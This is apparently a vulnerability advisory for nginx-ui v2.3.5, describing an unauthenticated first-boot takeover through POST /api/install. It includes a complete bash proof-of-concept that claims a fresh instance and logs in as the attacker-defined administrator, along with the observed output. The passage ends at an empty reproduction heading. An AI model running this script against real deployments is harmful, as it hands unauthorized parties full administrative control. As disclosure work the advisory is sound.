Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover
Summary
An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.
When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.
This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.
The primary attack path is direct network access to a reachable fresh instance.[^cors]
This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).
Impact
This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.
The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.
In live testing, the attacker was able to:
- confirm that the target was still uninitialized
- submit attacker-chosen bootstrap credentials
- lock the installation under attacker control
- immediately authenticate as the newly set administrator
Observed values during live reproduction included:
```text
INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"}
```
Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.
PoC
The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.
Standalone PoC:
```bash
#!/usr/bin/env bash
set -euo pipefail
base_url="http://127.0.0.1:9000"
email="[email protected]"
username="pocverify2"
password="Passw0rd123"
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
install_before="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_BEFORE=%s\n' "$install_before"
key_json="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \
"${base_url}/api/crypto/public_key")"
key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')"
printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem"
openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1
printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json"
encrypted_install="$(
openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \
| openssl base64 -A
)"
install_post="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"encrypted_params\":\"${encrypted_install}\"}" \
"${base_url}/api/install")"
printf 'INSTALL_POST=%s\n' "$install_post"
install_after="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_AFTER=%s\n' "$install_after"
printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json"
encrypted_login="$(
openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \
| openssl base64 -A
)"
login_response="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"encrypted_params\":\"${encrypted_login}\"}" \
"${base_url}/api/login")"
printf 'LOGIN_RESPONSE=%s\n' "$login_response"
```
Observed output during live verification:
```text
INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"}
```
Steps to Reproduce
